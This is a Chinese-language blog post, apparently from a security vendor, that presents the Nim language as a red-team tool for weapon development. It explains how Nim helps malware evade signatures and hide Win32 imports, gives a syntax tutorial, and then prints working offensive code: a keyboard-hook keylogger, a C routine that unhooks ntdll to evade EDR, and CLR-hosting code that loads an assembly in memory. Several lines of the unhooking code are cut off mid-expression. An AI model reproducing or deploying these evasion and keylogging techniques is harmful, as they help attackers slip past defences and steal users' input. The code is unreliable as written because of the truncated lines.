Nim语言在蓝军实践中的研究总结

一、技术背景

随着计算机技术的发展,计算机研究人员根据现有语言的缺陷,尝试创造出更好的编程语言,而新技术在造福计算机社区的同时,往往会被攻击组织所盯上,成为攻击者的崭新的武器开发语言。对传统的安全检测设备和安全研究人员而言,新语言相对晦涩且冷门,具有语言本身的特性。在面对传统的安全措施时,绕过更加轻松,使得安全设备增大识别和检测难度,大大增加安全防御成本。在这些新的编程语言中,Nim语言尤其受到了攻击者的青睐。其中,APT组织TA800在攻击中多次使用Nim语言开发的NimzaLoader下载器;APT28组织的攻击工具Zebrocy用Nim语言进行重构等。

本文将从蓝军研究人员的角度对Nim语言的优势和利用面进行分析,希望能对读者有所启发。

二、Nim语言优势分析

1. 语言本身的优势
相较于其他同类语言,Nim拥有更简洁的语法,执行性能上也有所提高。类脚本语言式的语法和封装完善的内部函数降低了开发难度,更低的开发成本缩短了武器化项目开发周期。
效率上
如下图,在求0到1亿的秋水仙数时,Nim的速度跟C语言不分伯仲,且比python快得多:
可读性上
在语法和表达上,比起类C的语言需要有大括号和分号(比如JavaScript和C++),Nim语言更加地简洁和易读,同时也不具备Ruby语言的do和end等。C++语言和Nim语言实现0到9的循环代码,对比如下:
# Nim语言实现0-9的循环输出
for i in 0 .. <10: 
   echo(i)

// C++ 实现0-9的输出
#include <iostream>
using namespace std;

int main()
{   
    for (int i = 0; i < 10; i++)  
    {       
         cout << i << endl;  
    }
   return 0;
}
兼顾OPSEC特性的Win32 API调用    外部函数接口:指的是一种机制,使用一种编程语言编写的程序可以调用用另一种编程语言编写的服务(比如在Nim语言中可以调用使用C/C++编写的Messagebox函数)。Nim有成熟的外部函数接口技术(FFI,使得Nim语言与Windows API交互的时候,具有OPSEC的特性,即使用Nim编写的程序的外部导入函数不会真正显示在可执行文件的静态导入表中 。对比如下:

使用C语言执行MessageBox弹窗和用WinExec执行计算器,代码如下:

#include <windows.h>

int main(int argc, char* argv[])
{
    MessageBoxA(0, "Hello, world !", "MessageBox Example", 0);   
     WinExec("calc.exe", SW_SHOW);   
     return 0;
}
查看C语言编程生成的exe文件的导出表,可以发现我们执行的Windows Api函数:
使用Nim语言执行MessageBox弹窗和用WinExec执行计算器,代码如下:
proc MessageBoxA*(hWnd: int, lpText: cstring, 

                  lpCaption: cstring, uType: int32): int32 

                 {.discardable, stdcall, dynlib: "user32", importc.}

MessageBoxA(0, "Hello, world !", "MessageBox Example", 0)

proc WinExec*(lpCmdLine:cstring,uCmdShow:int32): int32             
              {.discardable,stdcall,dynlib:"kernel32",importc.}

WinExec("calc.exe",0)
查看Nim语言生成的exe文件的导出表,没有发现相关的Windows Api函数
2. 分析对抗优势
对抗特征码检测
特征码和哈希检测在恶意软件检测手法中占据一席之地。研究者从程序中提取特征码和哈希,编写yara规则,实现对恶意软件的匹配和检测。使用Nim语言重写能使现存基于C/C++等语言的恶意程序重获新生。这些程序的原始版本大多被各种静态特征标记,而使用Nim重构后的程序无论是签名哈希还是特征码都会有所变化,达到绕过规则检测的效果。
自带混淆效果
Nim等新兴语言对传统分析者来说相对不熟悉与晦涩,针对性的分析工具的缺失,更使得新兴语言本身几乎自带混淆效果。golang曾因其二进制的特殊性被武器开发者青睐,但随着诸如IDAGolangHelper的分析插件逐渐完善,分析成本已显著降低。针对Nim语言二进制文件的分析工具目前还不完善,其作为新兴语言的红利期尚未结束。比起常见的高级语言和其他新兴语言,Nim语言给分析人员带来了更大的逆向难度和成本,相关的安全措施也尚不成熟,这也就导致了越来越多的武器开发者利用Nim语言等新兴语言编写加载器,用于部署RAT或Cobalt Strike等攻击软件。
3. 交叉编译和支持跨平台优势
Nim语言支持交叉编译,降低了攻击者在制作、投递不同架构的软件的的成本,攻击者无需考虑由于架构不同所造成的问题,只需要修改少量代码就可以生成可以在不同系统上执行的病毒,能极大地扩大攻击面,降低开发成本。在windows平台下编译在arm架构下的linux程序:
nim c --cpu:amd64 --os:linux --compileOnly --genScript .\crossCompileTest.nim
执行完后生成多个文件,将其复制到linux系统中,将nimbase.h也一并拷贝
在linux中执行该sh文件,生成linux下的可执行文件并成功执行:
4. 更多优势
可执行文件大小优化
使用参数 -d:danger -d:strip –opt:size 对程序的大小有显著的优化。过程如下,执行命令:
nim c -d:danger -d:strip --opt:size .\begin.nim
如下图,大小从204KB减少至39.5KB:
方便的winim库
Nim的第三方库winim提供了方便的Windows Api调用方法,提高了开发的效率,并且在使用winim和不使用winim的情况下两者的大小区别并不大。

三、Nim语言基本语法

Nim的语法简洁易读,基本的语法语法使用如下:更多的语法性质可上Nim官方文档查询
# 1. 打印输出
echo "Hello World"

# 2. 变量声明和赋值 - 变量名:变量类型
var var1: int # int类型
var var2: string  # 字符串类型
var1 = 3
var2 = "str"

# 3. 控制流
# 3.1 if-else
if var1 == 3:    
    echo "True"
elif var1 > 3:
    echo "bigger"
elif var1 < 3:
    echo "smaller"

# 3.2 switch case
case var1
of 3:
    echo "Case:Yes,it's 3"
else:
    echo "Case:No,it isn't 3"
# 3.3 for countup是迭代器,相当于python的range
for i in countup(1,10):
    echo i
# 3.4 while,break 用法,与python相近
while var1 == 3:
    echo "while:Yes,it's 3"
    break

# 4. Procedures 使用,相当于 函数
# discardable 用于 声明 返回值类型为 “丢弃”
proc Addpro(x, y: int): int {.discardable.} =
  return x + y

echo(Addpro(3, 4)) # 输出返回值

# 5. 高级数组类型
# 5.1 数组类型,大小固定不变
type
    IntArray = array[1..5, int] # 索引从1到5,元素数量为5个

var arr: IntArray
arr = [5,10,15,20,25]
for index, val in arr:
    echo "Index: ", index, " Value = ", val

# 5.2 sep序列类型,相当于动态数组或python的list
var arrSep: seq[int]
 # arrSep = @[5,10]  # 赋值方式和数组一样用[],但前面多了个@符号
echo arrSep
# ... 有更多结构体在nim官方文档可查

# 6. 引用和指针
type                        # 自定义一个对象,相当于结构体
    MyObj = object
        name: string
        age: int

var obj1: MyObj
obj1 = MyObj(name:"I",age:12)
 echo obj1
echo sizeof(obj1) # sizeof(name) + sizeof(age) = 8

# 7. FFI使用,Nim语言最终编译成C语言,所以使用FFI很方便
proc strcmp(a, b: cstring): cint {.importc: "strcmp", nodecl.}
let cmp = strcmp("C?", "Easy!")
echo cmp

四、Nim在蓝军武器中的实例

1. 键盘记录器
    使用Nim实现对Windows Api的调用,实现对键盘操作的hook,完成键盘记录器。部分代码如下:
# hook回调函数
proc HookCallback(nCode: int32, wParam: WPARAM, lParam: LPARAM): LRESULT {.stdcall.} = 
    if nCode >= 0 and wParam == WM_KEYDOWN:
        var keypressed: string
        var kbdstruct: PKBDLLHOOKSTRUCT = cast[ptr KBDLLHOOKSTRUCT](lparam)
        var currentActiveWindow = GetActiveWindowTitle()
        var shifted: bool = (GetKeyState(160) < 0) or (GetKeyState(161) < 0)
        var keycode: Keys = cast[Keys](kbdstruct.vkCode)

        if shifted and (keycode in KeyDictShift):
            keypressed = KeyDictShift.getOrDefault(keycode)
        elif keycode in KeyDict:
            keypressed = KeyDict.getOrDefault(keycode)
        else:
            var capped: bool = (GetKeyState(20) != 0)
            if (capped and shifted) or not (capped or shifted):
                keypressed = $toLowerAscii(chr(ord(keycode)))
            else:
                keypressed = $toUpperAscii(chr(ord(keycode)))

        echo fmt"[*] Key: {keypressed} [Window: '{currentActiveWindow}']"
    return CallNextHookEx(0, nCode, wParam, lParam)
# hook键盘的函数
var hook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC) HookCallback, 0,  0)
效果如下:
2. 躲避EDR检测的unhook dll实现
unhook dll中利用新映射的dll的.text区块复制到原本被hook的虚拟地址,实现覆盖,解除edr对dll的hook,实现edr的检测规避。在Nim中,存在Emit pragma ,可直接在Nim中嵌入C/C++代码。通过该语法将unhook dll相关代码嵌入,实现调用。我们在Nim中直接调用相关C++代码,部分代码如下:使用emit实现C++代码嵌入

# 使用emit 实现嵌入
{.emit: """   

#include <Windows.h>
#include <winternl.h>
#include <psapi.h>
#include <psapi.h>

int ntdllunhook()
{
  HANDLE process = GetCurrentProcess();
  MODULEINFO mi;
  HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");

  GetModuleInformation(process, ntdllModule, &mi, sizeof(mi));
  LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;
  HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
  HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
  LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);

  PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
  PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);

  for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
    PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZE

    if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
      DWORD oldProtection = 0;
      VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize,
     memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWOR
      VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize,
     }
  }
  CloseHandle(process);
  CloseHandle(ntdllFile);
  CloseHandle(ntdllMapping);
  FreeLibrary(ntdllModule);

  return 0;
}
3. CLR Hosting执行shellcode
利用CLR 托管,可以实现在内存中加载.Net 程序集,是一种隐匿的shellcode执行方式。在使用C\C++ 实现该功能时,需要对clr进行初始化。而在Nim中的winim库,将clr的初始化相关工作都已经进行了处理,对开发者更加友好,减少了开发者的工作量。相关代码如下:

import winim/clr

var buf: array[,byte] = [...]  # 省略要执行的assembly
var assembly = load(buf)
var arr = toCLRVariant(commandLineParams(), VT_BSTR)
assembly.EntryPoint.Invoke(nil, toCLRVariant([arr]))

五、总结

Nim语言的新颖和其语言特性,在混淆、隐匿、免杀、开发等方面都有一定的优势,尤其适用于制作Loader和Dropper等武器化工具,在面对安全产品和安全措施时有一定的防御规避作用,攻击者的使用频率增大,警醒我们去做更多的研究,值得我们去挖掘其中更多的可能性。

版权声明
本站“技术博客”所有内容的版权持有者为绿盟科技集团股份有限公司(“绿盟科技”)。作为分享技术资讯的平台,绿盟科技期待与广大用户互动交流,并欢迎在标明出处(绿盟科技-技术博客)及网址的情形下,全文转发。
上述情形之外的任何使用形式,均需提前向绿盟科技(010-68438880-5462)申请版权授权。如擅自使用,绿盟科技保留追责权利。同时,如因擅自使用博客内容引发法律纠纷,由使用者自行承担全部法律责任,与绿盟科技无关。

Spread the word. Share this post!

Meet The Author